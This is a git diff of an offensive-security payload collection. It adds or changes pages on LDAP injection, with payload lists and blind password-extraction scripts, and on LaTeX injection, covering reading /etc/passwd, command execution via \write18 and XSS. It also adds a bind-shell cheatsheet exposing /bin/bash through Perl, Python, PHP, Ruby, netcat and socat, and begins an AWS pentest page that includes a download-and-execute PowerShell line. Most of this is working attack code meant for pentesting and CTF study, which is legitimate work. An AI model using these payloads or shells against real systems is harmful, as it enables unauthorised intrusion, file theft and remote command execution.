|
|
||||||
|
Can be used in an injection like `*)(ATTRIBUTE_HERE=*`
|
||||||
|
|
||||||
|
```bash
|
||||||
|
userPassword
|
||||||
|
surname
|
||||||
|
name
|
||||||
|
cn
|
||||||
|
sn
|
||||||
|
objectClass
|
||||||
|
mail
|
||||||
|
givenName
|
||||||
|
commonName
|
||||||
|
```
|
||||||
|
|
||||||
|
## Exploiting userPassword attribute
|
||||||
|
|
||||||
|
`userPassword` attribute is not a string like the `cn` attribute for example but it’s an OCTET STRING
|
||||||
|
In LDAP, every object, type, operator etc. is referenced by an OID : octetStringOrderingMatch (OID 2.5.13.18).
|
||||||
|
|
||||||
|
> octetStringOrderingMatch (OID 2.5.13.18): An ordering matching rule that will perform a bit-by-bit comparison (in big endian ordering) of two octet string values until a difference is found. The first case in which a zero bit is found in one value but a one bit is found in another will cause the value with the zero bit to be considered less than the value with the one bit.
|
||||||
|
|
||||||
|
```bash
|
||||||
|
userPassword:2.5.13.18:=\xx (\xx is a byte)
|
||||||
|
userPassword:2.5.13.18:=\xx\xx
|
||||||
|
userPassword:2.5.13.18:=\xx\xx\xx
|
||||||
|
```
|
||||||
|
|
||||||
|
## Scripts
|
||||||
|
|
||||||
|
### Discover valid LDAP fields
|
||||||
|
|
||||||
|
```python
|
||||||
|
#!/usr/bin/python3
|
||||||
|
|
||||||
|
import requests
|
||||||
|
import string
|
||||||
|
|
||||||
|
fields = []
|
||||||
|
|
||||||
|
url = 'https://URL.com/'
|
||||||
|
|
||||||
|
f = open('dic', 'r') #Open the wordlists of common attributes
|
||||||
|
wordl = f.read().split('\n')
|
||||||
|
f.close()
|
||||||
|
|
||||||
|
for i in wordl:
|
||||||
|
r = requests.post(url, data = {'login':'*)('+str(i)+'=*))\x00', 'password':'bla'}) #Like (&(login=*)(ITER_VAL=*))\x00)(password=bla))
|
||||||
|
if 'TRUE CONDITION' in r.text:
|
||||||
|
fields.append(str(i))
|
||||||
|
|
||||||
|
print(fields)
|
||||||
|
```
|
||||||
|
|
||||||
|
Ref. [5][5]
|
||||||
|
|
||||||
|
### Special blind LDAP injection (without "*")
|
||||||
|
|
||||||
|
```python
|
||||||
|
#!/usr/bin/python3
|
||||||
|
|
||||||
|
import requests, string
|
||||||
|
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"
|
||||||
|
|
||||||
|
flag = ""
|
||||||
|
for i in range(50):
|
||||||
|
print("[i] Looking for number " + str(i))
|
||||||
|
for char in alphabet:
|
||||||
|
r = requests.get("http://ctf.web?action=dir&search=admin*)(password=" + flag + char)
|
||||||
|
if ("TRUE CONDITION" in r.text):
|
||||||
|
flag += char
|
||||||
|
print("[+] Flag: " + flag)
|
||||||
|
break
|
||||||
|
```
|
||||||
|
|
||||||
|
Ref. [5][5]
|
||||||
|
|
||||||
|
```ruby
|
||||||
|
#!/usr/bin/env ruby
|
||||||
|
|
||||||
|
require 'net/http'
|
||||||
|
alphabet = [*'a'..'z', *'A'..'Z', *'0'..'9'] + '_@{}-/()!"$%=^[]:;'.split('')
|
||||||
|
|
||||||
|
flag = ''
|
||||||
|
|
||||||
|
(0..50).each do |i|
|
||||||
|
puts("[i] Looking for number #{i}")
|
||||||
|
alphabet.each do |char|
|
||||||
|
r = Net::HTTP.get(URI("http://ctf.web?action=dir&search=admin*)(password=#{flag}#{char}"))
|
||||||
|
if /TRUE CONDITION/.match?(r)
|
||||||
|
flag += char
|
||||||
|
puts("[+] Flag: #{flag}")
|
||||||
|
break
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
```
|
||||||
|
|
||||||
|
By [noraj](https://github.com/noraj)
|
||||||
|
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
|
* [OWASP LDAP Injection](https://www.owasp.org/index.php/LDAP_injection)
|
||||||
|
* [LDAP Blind Explorer](http://code.google.com/p/ldap-blind-explorer/)
|
||||||
|
* [ECW 2018 : Write Up - AdmYSsion (WEB - 50) - 0xUKN](https://0xukn.fr/posts/writeupecw2018admyssion/)
|
||||||
|
* [Quals ECW 2018 - Maki](https://maki.bzh/courses/blog/writeups/qualecw2018/)
|
||||||
|
* [How To Manage and Use LDAP Servers with OpenLDAP Utilities](https://www.digitalocean.com/community/tutorials/how-to-manage-and-use-ldap-servers-with-openldap-utilities)
|
||||||
|
* [How To Configure OpenLDAP and Perform Administrative LDAP Tasks](https://www.digitalocean.com/community/tutorials/how-to-configure-openldap-and-perform-administrative-ldap-tasks)
|
||||||
|
* SSH key authentication via LDAP
|
||||||
|
- [How to setup LDAP server for openssh-lpk](https://openssh-ldap-pubkey.readthedocs.io/en/latest/openldap.html)
|
||||||
|
- [openssh-lpk.ldif](https://github.com/Lullabot/openldap-schema/blob/master/openssh-lpk.ldif)
|
||||||
|
- [Setting up OpenLDAP server with OpenSSH-LPK on Ubuntu 14.04](https://blog.shichao.io/2015/04/17/setup_openldap_server_with_openssh_lpk_on_ubuntu.html)
|
||||||
|
- [SSH key authentication using LDAP](https://serverfault.com/questions/653792/ssh-key-authentication-using-ldap)
|
||||||
|
- [FR] [SSH et LDAP](https://wiki.lereset.org/ateliers:serveurmail:ldap-ssh)
|
||||||
|
- [SSH Public Keys in OpenLDAP](http://pig.made-it.com/ldap-openssh.html)
|
||||||
@@ -1,104 +0,0 @@
|
|||||||
# LDAP injection
|
|
||||||
|
|
||||||
LDAP Injection is an attack used to exploit web based applications that construct LDAP statements based on user input. When an application fails to properly sanitize user input, it's possible to modify LDAP statements using a local proxy.
|
|
||||||
|
|
||||||
## Exploitation
|
|
||||||
|
|
||||||
Example 1.
|
|
||||||
|
|
||||||
```sql
|
|
||||||
user = *)(uid=*))(|(uid=*
|
|
||||||
pass = password
|
|
||||||
query = "(&(uid=*)(uid=*)) (|(uid=*)(userPassword={MD5}X03MO1qnZdYdgyfeuILPmQ==))"
|
|
||||||
```
|
|
||||||
|
|
||||||
Example 2
|
|
||||||
|
|
||||||
```sql
|
|
||||||
user = admin)(!(&(1=0
|
|
||||||
pass = q))
|
|
||||||
query = (&(uid=admin)(!(&(1=0)(userPassword=q))))
|
|
||||||
```
|
|
||||||
|
|
||||||
## Payloads
|
|
||||||
|
|
||||||
```text
|
|
||||||
*
|
|
||||||
*)(&
|
|
||||||
*))%00
|
|
||||||
)(cn=))\x00
|
|
||||||
*()|%26'
|
|
||||||
*()|&'
|
|
||||||
*(|(mail=*))
|
|
||||||
*(|(objectclass=*))
|
|
||||||
*)(uid=*))(|(uid=*
|
|
||||||
*/*
|
|
||||||
*|
|
|
||||||
/
|
|
||||||
//
|
|
||||||
//*
|
|
||||||
@*
|
|
||||||
|
|
|
||||||
admin*
|
|
||||||
admin*)((|userpassword=*)
|
|
||||||
admin*)((|userPassword=*)
|
|
||||||
x' or name()='username' or 'x'='y
|
|
||||||
```
|
|
||||||
|
|
||||||
## Blind Exploitation
|
|
||||||
|
|
||||||
We can extract using a bypass login
|
|
||||||
|
|
||||||
```sql
|
|
||||||
(&(sn=administrator)(password=*)) : OK
|
|
||||||
(&(sn=administrator)(password=A*)) : KO
|
|
||||||
(&(sn=administrator)(password=B*)) : KO
|
|
||||||
...
|
|
||||||
(&(sn=administrator)(password=M*)) : OK
|
|
||||||
(&(sn=administrator)(password=MA*)) : KO
|
|
||||||
(&(sn=administrator)(password=MB*)) : KO
|
|
||||||
...
|
|
||||||
(&(sn=administrator)(password=MY*)) : OK
|
|
||||||
(&(sn=administrator)(password=MYA*)) : KO
|
|
||||||
(&(sn=administrator)(password=MYB*)) : KO
|
|
||||||
(&(sn=administrator)(password=MYC*)) : KO
|
|
||||||
...
|
|
||||||
(&(sn=administrator)(password=MYK*)) : OK
|
|
||||||
(&(sn=administrator)(password=MYKE)) : OK
|
|
||||||
```
|
|
||||||
|
|
||||||
## Defaults attributes
|
|
||||||
|
|
||||||
Can be used in an injection like `*)(ATTRIBUTE_HERE=*`
|
|
||||||
|
|
||||||
```bash
|
|
||||||
userPassword
|
|
||||||
surname
|
|
||||||
name
|
|
||||||
cn
|
|
||||||
sn
|
|
||||||
objectClass
|
|
||||||
mail
|
|
||||||
givenName
|
|
||||||
commonName
|
|
||||||
```
|
|
||||||
|
|
||||||
## Exploiting userPassword attribute
|
|
||||||
|
|
||||||
`userPassword` attribute is not a string like the `cn` attribute for example but it’s an OCTET STRING
|
|
||||||
In LDAP, every object, type, operator etc. is referenced by an OID : octetStringOrderingMatch (OID 2.5.13.18).
|
|
||||||
|
|
||||||
> octetStringOrderingMatch (OID 2.5.13.18): An ordering matching rule that will perform a bit-by-bit comparison (in big endian ordering) of two octet string values until a difference is found. The first case in which a zero bit is found in one value but a one bit is found in another will cause the value with the zero bit to be considered less than the value with the one bit.
|
|
||||||
|
|
||||||
```bash
|
|
||||||
userPassword:2.5.13.18:=\xx (\xx is a byte)
|
|
||||||
userPassword:2.5.13.18:=\xx\xx
|
|
||||||
userPassword:2.5.13.18:=\xx\xx\xx
|
|
||||||
```
|
|
||||||
|
|
||||||
## Thanks to
|
|
||||||
|
|
||||||
* [OWASP LDAP Injection](https://www.owasp.org/index.php/LDAP_injection)
|
|
||||||
* [LDAP Blind Explorer](http://code.google.com/p/ldap-blind-explorer/)
|
|
||||||
* [ECW 2018 : Write Up - AdmYSsion (WEB - 50) - 0xUKN](https://0xukn.fr/posts/WriteUpECW2018AdmYSsion/)
|
|
||||||
* [Quals ECW 2018 - Maki](https://maki.bzh/courses/blog/writeups/qualecw2018/)
|
|
||||||
21
LICENSE
Normal file
21
LICENSE
Normal file
@@ -0,0 +1,21 @@
|
|||||||
|
MIT License
|
||||||
|
|
||||||
|
Copyright (c) 2019 Swissky
|
||||||
|
|
||||||
|
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
of this software and associated documentation files (the "Software"), to deal
|
||||||
|
in the Software without restriction, including without limitation the rights
|
||||||
|
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||||
|
copies of the Software, and to permit persons to whom the Software is
|
||||||
|
furnished to do so, subject to the following conditions:
|
||||||
|
|
||||||
|
The above copyright notice and this permission notice shall be included in all
|
||||||
|
copies or substantial portions of the Software.
|
||||||
|
|
||||||
|
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||||
|
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||||
|
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||||
|
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||||
|
SOFTWARE.
|
||||||
102
LaTeX Injection/README.md
Normal file
102
LaTeX Injection/README.md
Normal file
@@ -0,0 +1,102 @@
|
|||||||
|
# LaTex Injection
|
||||||
|
|
||||||
|
## Read file
|
||||||
|
|
||||||
|
Read file and interpret the LaTeX code in it:
|
||||||
|
|
||||||
|
```tex
|
||||||
|
\input{/etc/passwd}
|
||||||
|
\include{somefile} # load .tex file (somefile.tex)
|
||||||
|
```
|
||||||
|
|
||||||
|
Read single lined file:
|
||||||
|
|
||||||
|
```tex
|
||||||
|
\newread\file
|
||||||
|
\openin\file=/etc/issue
|
||||||
|
\read\file to\line
|
||||||
|
\text{\line}
|
||||||
|
\closein\file
|
||||||
|
```
|
||||||
|
|
||||||
|
Read multiple lined file:
|
||||||
|
|
||||||
|
```tex
|
||||||
|
\newread\file
|
||||||
|
\openin\file=/etc/passwd
|
||||||
|
\loop\unless\ifeof\file
|
||||||
|
\read\file to\fileline
|
||||||
|
\text{\fileline}
|
||||||
|
\repeat
|
||||||
|
\closein\file
|
||||||
|
```
|
||||||
|
|
||||||
|
Read text file, **without** interpreting the content, it will only paste raw file content:
|
||||||
|
|
||||||
|
```tex
|
||||||
|
\usepackage{verbatim}
|
||||||
|
\verbatiminput{/etc/passwd}
|
||||||
|
```
|
||||||
|
|
||||||
|
If injection point is past document header (`\usepackage` cannot be used), some control
|
||||||
|
characters can be deactivated in order to use `\input` on file containing `$`, `#`,
|
||||||
|
`_`, `&`, null bytes, ... (eg. perl scripts).
|
||||||
|
|
||||||
|
```tex
|
||||||
|
\catcode `\$=12
|
||||||
|
\catcode `\#=12
|
||||||
|
\catcode `\_=12
|
||||||
|
\catcode `\&=12
|
||||||
|
\input{path_to_script.pl}
|
||||||
|
```
|
||||||
|
|
||||||
|
## Write file
|
||||||
|
|
||||||
|
Write single lined file:
|
||||||
|
|
||||||
|
```tex
|
||||||
|
\newwrite\outfile
|
||||||
|
\openout\outfile=cmd.tex
|
||||||
|
\write\outfile{Hello-world}
|
||||||
|
\write\outfile{Line 2}
|
||||||
|
\write\outfile{I like trains}
|
||||||
|
\closeout\outfile
|
||||||
|
```
|
||||||
|
|
||||||
|
## Command execution
|
||||||
|
|
||||||
|
The output of the command will be redirected to stdout, therefore you need to use a temp file to get it.
|
||||||
|
|
||||||
|
```tex
|
||||||
|
\immediate\write18{id > output}
|
||||||
|
\input{output}
|
||||||
|
```
|
||||||
|
|
||||||
|
If you get any LaTex error, consider using base64 to get the result without bad characters (or use `\verbatiminput`):
|
||||||
|
|
||||||
|
```tex
|
||||||
|
\immediate\write18{env | base64 > test.tex}
|
||||||
|
\input{text.tex}
|
||||||
|
```
|
||||||
|
|
||||||
|
```tex
|
||||||
|
\input|ls|base64
|
||||||
|
\input{|"/bin/hostname"}
|
||||||
|
```
|
||||||
|
|
||||||
|
## Cross Site Scripting
|
||||||
|
|
||||||
|
From [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130)
|
||||||
|
|
||||||
|
```tex
|
||||||
|
\url{javascript:alert(1)}
|
||||||
|
\href{javascript:alert(1)}{placeholder}
|
||||||
|
```
|
||||||
|
|
||||||
|
Live example at `http://payontriage.com/xss.php?xss=$\href{javascript:alert(1)}{Frogs%20find%20bugs}$`
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
|
* [Hacking with LaTeX - Sebastian Neef - 0day.work](https://0day.work/hacking-with-latex/)
|
||||||
|
* [Latex to RCE, Private Bug Bounty Program - Yasho](https://medium.com/bugbountywriteup/latex-to-rce-private-bug-bounty-program-6a0b5b33d26a)
|
||||||
|
* [Pwning coworkers thanks to LaTeX](http://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/)
|
||||||
@@ -1,73 +0,0 @@
|
|||||||
# LaTex Injection
|
|
||||||
|
|
||||||
## Read file
|
|
||||||
|
|
||||||
```bash
|
|
||||||
\input{/etc/passwd}
|
|
||||||
\include{password} # load .tex file
|
|
||||||
```
|
|
||||||
|
|
||||||
Read single lined file
|
|
||||||
|
|
||||||
```bash
|
|
||||||
\newread\file
|
|
||||||
\openin\file=/etc/issue
|
|
||||||
\read\file to\line
|
|
||||||
\text{\line}
|
|
||||||
\closein\file
|
|
||||||
```
|
|
||||||
|
|
||||||
Read multiple lined file
|
|
||||||
|
|
||||||
```bash
|
|
||||||
\newread\file
|
|
||||||
\openin\file=/etc/passwd
|
|
||||||
\loop\unless\ifeof\file
|
|
||||||
\read\file to\fileline
|
|
||||||
\text{\fileline}
|
|
||||||
\repeat
|
|
||||||
\closein\file
|
|
||||||
```
|
|
||||||
|
|
||||||
Read text file, keep the formatting
|
|
||||||
|
|
||||||
```bash
|
|
||||||
\usepackage{verbatim}
|
|
||||||
\verbatiminput{/etc/passwd}
|
|
||||||
```
|
|
||||||
|
|
||||||
## Write file
|
|
||||||
|
|
||||||
```bash
|
|
||||||
\newwrite\outfile
|
|
||||||
\openout\outfile=cmd.tex
|
|
||||||
\write\outfile{Hello-world}
|
|
||||||
\closeout\outfile
|
|
||||||
```
|
|
||||||
|
|
||||||
## Command execution
|
|
||||||
|
|
||||||
The input of the command will be redirected to stdin, use a temp file to get it.
|
|
||||||
|
|
||||||
```bash
|
|
||||||
\immediate\write18{env > output}
|
|
||||||
\input{output}
|
|
||||||
```
|
|
||||||
|
|
||||||
If you get any LaTex error, consider using base64 to get the result without bad characters
|
|
||||||
|
|
||||||
```bash
|
|
||||||
\immediate\write18{env | base64 > test.tex}
|
|
||||||
\input{text.tex}
|
|
||||||
```
|
|
||||||
|
|
||||||
```bash
|
|
||||||
\input|ls|base4
|
|
||||||
\input{|"/bin/hostname"}
|
|
||||||
```
|
|
||||||
|
|
||||||
## Thanks to
|
|
||||||
|
|
||||||
* [Hacking with LaTeX - Sebastian Neef - 0day.work](https://0day.work/hacking-with-latex/)
|
|
||||||
* [Latex to RCE, Private Bug Bounty Program - Yasho](https://medium.com/bugbountywriteup/latex-to-rce-private-bug-bounty-program-6a0b5b33d26a)
|
|
||||||
* [Pwning coworkers thanks to LaTeX](http://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/)
|
|
||||||
File diff suppressed because it is too large
Load Diff
95
Methodology and Resources/Bind Shell Cheatsheet.md
Normal file
95
Methodology and Resources/Bind Shell Cheatsheet.md
Normal file
@@ -0,0 +1,95 @@
|
|||||||
|
# Bind Shell
|
||||||
|
|
||||||
|
## Summary
|
||||||
|
|
||||||
|
* [Bind Shell](#bind-shell)
|
||||||
|
* [Perl](#perl)
|
||||||
|
* [Python](#python)
|
||||||
|
* [PHP](#php)
|
||||||
|
* [Ruby](#ruby)
|
||||||
|
* [Netcat Traditional](#netcat-traditional)
|
||||||
|
* [Netcat OpenBsd](#netcat-openbsd)
|
||||||
|
* [Ncat](#ncat)
|
||||||
|
* [Socat](#socat)
|
||||||
|
* [Powershell](#powershell)
|
||||||
|
|
||||||
|
|
||||||
|
## Perl
|
||||||
|
|
||||||
|
```perl
|
||||||
|
perl -e 'use Socket;$p=51337;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));\
|
||||||
|
bind(S,sockaddr_in($p, INADDR_ANY));listen(S,SOMAXCONN);for(;$p=accept(C,S);\
|
||||||
|
close C){open(STDIN,">&C");open(STDOUT,">&C");open(STDERR,">&C");exec("/bin/bash -i");};'
|
||||||
|
```
|
||||||
|
|
||||||
|
## Python
|
||||||
|
|
||||||
|
Single line :
|
||||||
|
```python
|
||||||
|
python -c 'exec("""import socket as s,subprocess as sp;s1=s.socket(s.AF_INET,s.SOCK_STREAM);s1.setsockopt(s.SOL_SOCKET,s.SO_REUSEADDR, 1);s1.bind(("0.0.0.0",51337));s1.listen(1);c,a=s1.accept();\nwhile True: d=c.recv(1024).decode();p=sp.Popen(d,shell=True,stdout=sp.PIPE,stderr=sp.PIPE,stdin=sp.PIPE);c.sendall(p.stdout.read()+p.stderr.read())""")'
|
||||||
|
```
|
||||||
|
|
||||||
|
Expanded version :
|
||||||
|
|
||||||
|
```python
|
||||||
|
import socket as s,subprocess as sp;
|
||||||
|
|
||||||
|
s1 = s.socket(s.AF_INET, s.SOCK_STREAM);
|
||||||
|
s1.setsockopt(s.SOL_SOCKET, s.SO_REUSEADDR, 1);
|
||||||
|
s1.bind(("0.0.0.0", 51337));
|
||||||
|
s1.listen(1);
|
||||||
|
c, a = s1.accept();
|
||||||
|
|
||||||
|
while True:
|
||||||
|
d = c.recv(1024).decode();
|
||||||
|
p = sp.Popen(d, shell=True, stdout=sp.PIPE, stderr=sp.PIPE, stdin=sp.PIPE);
|
||||||
|
c.sendall(p.stdout.read()+p.stderr.read())
|
||||||
|
```
|
||||||
|
|
||||||
|
## PHP
|
||||||
|
|
||||||
|
```php
|
||||||
|
php -r '$s=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);socket_bind($s,"0.0.0.0",51337);\
|
||||||
|
socket_listen($s,1);$cl=socket_accept($s);while(1){if(!socket_write($cl,"$ ",2))exit;\
|
||||||
|
$in=socket_read($cl,100);$cmd=popen("$in","r");while(!feof($cmd)){$m=fgetc($cmd);\
|
||||||
|
socket_write($cl,$m,strlen($m));}}'
|
||||||
|
```
|
||||||
|
|
||||||
|
## Ruby
|
||||||
|
|
||||||
|
```ruby
|
||||||
|
ruby -rsocket -e 'f=TCPServer.new(51337);s=f.accept;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",s,s,s)'
|
||||||
|
```
|
||||||
|
|
||||||
|
## Netcat Traditional
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
nc -nlvp 51337 -e /bin/bash
|
||||||
|
```
|
||||||
|
|
||||||
|
## Netcat OpenBsd
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc -lvp 51337 >/tmp/f
|
||||||
|
```
|
||||||
|
|
||||||
|
## Socat
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
user@attacker$ socat FILE:`tty`,raw,echo=0 TCP:target.com:12345
|
||||||
|
user@victim$ socat TCP-LISTEN:12345,reuseaddr,fork EXEC:/bin/sh,pty,stderr,setsid,sigint,sane
|
||||||
|
```
|
||||||
|
|
||||||
|
## Powershell
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
https://github.com/besimorhino/powercat
|
||||||
|
|
||||||
|
# Victim (listen)
|
||||||
|
. .\powercat.ps1
|
||||||
|
powercat -l -p 7002 -ep
|
||||||
|
|
||||||
|
# Connect from attacker
|
||||||
|
. .\powercat.ps1
|
||||||
|
powercat -c 127.0.0.1 -p 7002
|
||||||
|
```
|
||||||
709
Methodology and Resources/Cloud - AWS Pentest.md
Normal file
709
Methodology and Resources/Cloud - AWS Pentest.md
Normal file
@@ -0,0 +1,709 @@
|
|||||||
|
# AWS
|
||||||
|
|
||||||
|
> Amazon Web Services offers reliable, scalable, and inexpensive cloud computing services.
|
||||||
|
|
||||||
|
## Summary
|
||||||
|
|
||||||
|
- [AWS](#aws)
|
||||||
|
- [Summary](#summary)
|
||||||
|
- [Training](#training)
|
||||||
|
- [Tools](#tools)
|
||||||
|
- [AWS Patterns](#aws-patterns)
|
||||||
|
- [AWS - Metadata SSRF](#aws---metadata-ssrf)
|
||||||
|
- [Method for Elastic Cloud Compute (EC2)](#method-for-elastic-cloud-compute-ec2)
|
||||||
|
- [Method for Container Service (Fargate)](#method-for-container-service-fargate)
|
||||||
|
- [AWS API calls that return credentials](#aws-api-calls-that-return-credentials)
|
||||||
|
- [AWS - Shadow Admin](#aws---shadow-admin)
|
||||||
|
- [Admin equivalent permission](#admin-equivalent-permission)
|
||||||
|
- [AWS - Gaining AWS Console Access via API Keys](#aws---gaining-aws-console-access-via-api-keys)
|
||||||
|
- [AWS - Enumerate IAM permissions](#aws---enumerate-iam-permissions)
|
||||||
|
- [AWS - Mount EBS volume to EC2 Linux](#aws---mount-ebs-volume-to-ec2-linux)
|
||||||
|
- [AWS - Copy EC2 using AMI Image](#aws---copy-ec2-using-ami-image)
|
||||||
|
- [AWS - Instance Connect - Push an SSH key to EC2 instance](#aws---instance-connect---push-an-ssh-key-to-ec2-instance)
|
||||||
|
- [AWS - Lambda - Extract function's code](#aws---lambda---extract-functions-code)
|
||||||
|
- [AWS - SSM - Command execution](#aws---ssm---command-execution)
|
||||||
|
- [AWS - Golden SAML Attack](#aws---golden-saml-attack)
|
||||||
|
- [AWS - Shadow Copy attack](#aws---shadow-copy-attack)
|
||||||
|
- [Disable CloudTrail](#disable-cloudtrail)
|
||||||
|
- [Cover tracks by obfuscating Cloudtrail logs and Guard Duty](#cover-tracks-by-obfuscating-cloudtrail-logs-and-guard-duty)
|
||||||
|
- [DynamoDB](#dynamodb)
|
||||||
|
- [Security checks](#security-checks)
|
||||||
|
- [References](#references)
|
||||||
|
|
||||||
|
## Training
|
||||||
|
|
||||||
|
* Damn Vulnerable Cloud Application - https://medium.com/poka-techblog/privilege-escalation-in-the-cloud-from-ssrf-to-global-account-administrator-fd943cf5a2f6
|
||||||
|
* SadCloud - https://github.com/nccgroup/sadcloud
|
||||||
|
* Flaws - http://flaws.cloud
|
||||||
|
* Cloudgoat - https://github.com/RhinoSecurityLabs/cloudgoat
|
||||||
|
|
||||||
|
## Tools
|
||||||
|
|
||||||
|
* [SkyArk](https://github.com/cyberark/SkyArk) - Discover the most privileged users in the scanned AWS environment, including the AWS Shadow Admins
|
||||||
|
* Requires read-Only permissions over IAM service
|
||||||
|
```powershell
|
||||||
|
$ git clone https://github.com/cyberark/SkyArk
|
||||||
|
$ powershell -ExecutionPolicy Bypass -NoProfile
|
||||||
|
PS C> Import-Module .\SkyArk.ps1 -force
|
||||||
|
PS C> Start-AWStealth
|
||||||
|
|
||||||
|
or in the Cloud Console
|
||||||
|
|
||||||
|
PS C> IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cyberark/SkyArk/master/AWStealth/AWStealth.ps1')
|
||||||
|
PS C> Scan-AWShadowAdmins
|
||||||
|
```
|
||||||
|
|
||||||
|
* [Pacu](https://github.com/RhinoSecurityLabs/pacu) - Exploit configuration flaws within an AWS environment using an extensible collection of modules with a diverse feature-set
|
||||||
|
* Requires AWS Keys
|
||||||
|
```powershell
|
||||||
|
$ git clone https://github.com/RhinoSecurityLabs/pacu
|
||||||
|
$ bash install.sh
|
||||||
|
$ python3 pacu.py
|
||||||
|
set_keys/swap_keys
|
||||||
|
ls
|
||||||
|
run <module_name> [--keyword-arguments]
|
||||||
|
run <module_name> --regions eu-west-1,us-west-1
|
||||||
|
|
||||||
|
# https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details
|
||||||
|
```
|
||||||
|
|
||||||
|
* [Bucket Finder](https://digi.ninja/projects/bucket_finder.php) - Search for public buckets, list and download all files if directory indexing is enabled
|
||||||
|
```powershell
|
||||||
|
wget https://digi.ninja/files/bucket_finder_1.1.tar.bz2 -O bucket_finder_1.1.tar.bz2
|
||||||
|
./bucket_finder.rb my_words
|
||||||
|
./bucket_finder.rb --region ie my_words
|
||||||
|
US Standard = http://s3.amazonaws.com
|
||||||
|
Ireland = http://s3-eu-west-1.amazonaws.com
|
||||||
|
Northern California = http://s3-us-west-1.amazonaws.com
|
||||||
|
Singapore = http://s3-ap-southeast-1.amazonaws.com
|
||||||
|
Tokyo = http://s3-ap-northeast-1.amazonaws.com
|
||||||
|
|
||||||
|
./bucket_finder.rb --download --region ie my_words
|
||||||
|
./bucket_finder.rb --log-file bucket.out my_words
|
||||||
|
```
|
||||||
|
|
||||||
|
* [Boto3](https://boto3.amazonaws.com/v1/documentation/api/latest/index.html) - Amazon Web Services (AWS) SDK for Python
|
||||||
|
```python
|
||||||
|
import boto3
|
||||||
|
# Create an S3 client
|
||||||
|
s3 = boto3.client('s3',aws_access_key_id='AKIAJQDP3RKREDACTED',aws_secret_access_key='igH8yFmmpMbnkcUaCqXJIRIozKVaREDACTED',region_name='us-west-1')
|
||||||
|
|
||||||
|
try:
|
||||||
|
result = s3.list_buckets()
|
||||||
|
print(result)
|
||||||
|
except Exception as e:
|
||||||
|
print(e)
|
||||||
|
```
|
||||||
|
|
||||||
|
* [Prowler](https://github.com/toniblyx/prowler) - AWS security best practices assessments, audits, incident response, continuous monitoring, hardening and forensics readiness
|
||||||
|
|
||||||
|
> It follows guidelines of the CIS Amazon Web Services Foundations Benchmark and DOZENS of additional checks including GDPR and HIPAA (+100).
|
||||||
|
* Require: arn:aws:iam::aws:policy/SecurityAudit
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
$ pip install awscli ansi2html detect-secrets
|
||||||
|
$ git clone https://github.com/toniblyx/prowler
|
||||||
|
$ sudo apt install jq
|
||||||
|
$ ./prowler -E check42,check43
|
||||||
|
$ ./prowler -p custom-profile -r us-east-1 -c check11
|
||||||
|
$ ./prowler -A 123456789012 -R ProwlerRole # sts assume-role
|
||||||
|
```
|
||||||
|
|
||||||
|
* [Principal Mapper](https://github.com/nccgroup/PMapper) - A tool for quickly evaluating IAM permissions in AWS
|
||||||
|
```powershell
|
||||||
|
https://github.com/nccgroup/PMapper
|
||||||
|
pip install principalmapper
|
||||||
|
pmapper graph --create
|
||||||
|
pmapper visualize --filetype png
|
||||||
|
pmapper analysis --output-type text
|
||||||
|
|
||||||
|
# Determine if PowerUser can escalate privileges
|
||||||
|
pmapper query "preset privesc user/PowerUser"
|
||||||
|
pmapper argquery --principal user/PowerUser --preset privesc
|
||||||
|
|
||||||
|
# Find all principals that can escalate privileges
|
||||||
|
pmapper query "preset privesc *"
|
||||||
|
pmapper argquery --principal '*' --preset privesc
|
||||||
|
|
||||||
|
# Find all principals that PowerUser can access
|
||||||
|
pmapper query "preset connected user/PowerUser *"
|
||||||
|
pmapper argquery --principal user/PowerUser --resource '*' --preset connected
|
||||||
|
|
||||||
|
# Find all principals that can access PowerUser
|
||||||
|
pmapper query "preset connected * user/PowerUser"
|
||||||
|
pmapper argquery --principal '*' --resource user/PowerUser --preset connected
|
||||||
|
```
|
||||||
|
|
||||||
|
* [ScoutSuite](https://github.com/nccgroup/ScoutSuite/wiki) - Multi-Cloud Security Auditing Tool
|
||||||
|
```powershell
|
||||||
|
$ git clone https://github.com/nccgroup/ScoutSuite
|
||||||
|
$ python scout.py PROVIDER --help
|
||||||
|
# The --session-token is optional and only used for temporary credentials (i.e. role assumption).
|
||||||
|
$ python scout.py aws --access-keys --access-key-id <AKIAIOSFODNN7EXAMPLE> --secret-access-key <wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY> --session-token <token>
|
||||||
|
$ python scout.py azure --cli
|
||||||
|
```
|
||||||
|
|
||||||
|
* [s3_objects_check](https://github.com/nccgroup/s3_objects_check) - Whitebox evaluation of effective S3 object permissions, to identify publicly accessible files
|
||||||
|
```powershell
|
||||||
|
$ git clone https://github.com/nccgroup/s3_objects_check
|
